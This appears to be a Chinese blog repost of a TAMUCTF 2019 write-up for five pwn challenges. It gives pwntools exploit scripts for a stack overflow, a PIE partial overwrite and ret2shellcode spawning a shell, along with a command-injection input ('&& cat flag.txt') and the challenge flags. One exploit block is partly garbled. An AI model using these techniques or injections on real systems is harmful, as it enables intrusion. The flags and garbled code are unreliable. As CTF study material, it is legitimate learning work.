TAMUCTF-部分pwn解析

2019-04-04 约 1034 字 预计阅读 3 分钟

声明:本文 【TAMUCTF-部分pwn解析】 由作者 Peanuts 于 2019-03-04 09:29:00 首发 先知社区 曾经 浏览数 1128 次

感谢 Peanuts 的辛苦付出!

TAMUCTF-部分pwn解析

和队里师傅做了这个比赛的题目难度有些梯度,但是后面两个题难度实在大了,水平太低不会了,前面的题还是比较简单有一定的借鉴意义,记录一下大佬勿喷。

pwn1

第一题比较简单大概看一下。

main

从栈分布和main函数来看就是一个栈溢出加上覆盖指针然后成功运行print_flag函数就可以拿到flag了。

exp

p = remote("nc pwn.tamuctf.com",4321)
#p = process('./pwn1.dms')
context.log_level = 'debug'
pa_0 = "Sir Lancelot of Camelot"
pa_1 = "To seek the Holy Grail."
pa_2 = "a"*0x2b +p32(0xDEA110C8)

p.recvuntil("What... is your name?\n")
p.sendline(pa_0)
p.recvuntil("What... is your quest?\n")
p.sendline(pa_1)

p.recvuntil("What... is my secret?\n")
p.sendline(pa_2)

p.interactive()
#gigem{34sy_CC428ECD75A0D392}

pwn2

这个题目考查的是pie的绕过,用的方法是低位覆盖

保护

main

逻辑比较简单就不多说了

select_function

主要是进行一个运行函数的筛选,其中的one和two我就不进行截图查看了就是一个puts函数没有什么特别的,这里我想的是利用strncpy的一个一个字节的溢出来造成最后程序的转跳,因为one的函数前面3个字节和后门函数是一样的,这里具体可以看栈分布,就不截图出来的。

exp

p = process('pwn2.dms')
&& cat flag.txt
#gigem{5y573m_0v3rfl0w}
'''
'''
p = remote("nc pwn.tamuctf.com",4322)
#p = process("pwn2.dms")
context.log_level = 'debug'
#6D8
pay ="a"*(0x1e)+"\xd8"
#gdb.attach(p)
p.recvuntil("Which function would you like to call?")
p.sendline(pay)

p.interactive()
#gigem{4ll_17_74k35_15_0n3}

pwn3

一个ret2sc的题,具体难度就是在调试的时候可能会有各种各样的问题

保护

这个地方没有开始nx,所以想到可以去执行ret2sc

main

程序的开始就给了我们我们输入的stack地址,我们的stack地址加上填充的长度然后输入我们的shellcode,接着返回地址覆盖成我们已经布置好栈的位置这样就可以getshell拿到flag了。

exp

#p = process("./pwn3.dms")
context(arch = 'i386', os = 'linux')
p = remote("pwn.tamuctf.com",4323)

context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("Take this, you might need it on your journey ")
ret = int(p.recv()[:10],16)
print ret
p.sendline("a"*(0x12a+4)+p32(ret+0x12a+0x8)+asm(shellcraft.sh()))

p.interactive()
#gigem{r3m073_fl46_3x3cu710n}

pwn4

一个关于linux命令行的问题,是一个系列先看第一个类型

main

这里就是让我们输入ls xx 我们要输入的区域是xx处,刚开始我想难道ls也有什么可以显示文本内容的骚操作。。结果问了个师傅才知道自己对linux命令行了解的浅薄,因为这个pwn4没有限制xx处的长度所以我们可以直接getshell

exp

&& cat flag.txt

pwn5

是这5个简单题里比较有难度的,但是其实也没什么,打开ida的时候很容易就能发现是静态编译

main

因为这里限制了ls xx xx处的长度所以我们只能采取一个其他方法绕过,这里查看get栈溢出处可以发现这题的栈比较干净所以果断选择rop,又因为是静态编译的所以可以直接进行ret2sc具体还是比较简单的。

exp

总结

这部分题目总体不是很难,但是后面两个题是真的没什么思路,希望大佬能够出来教授一下。

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now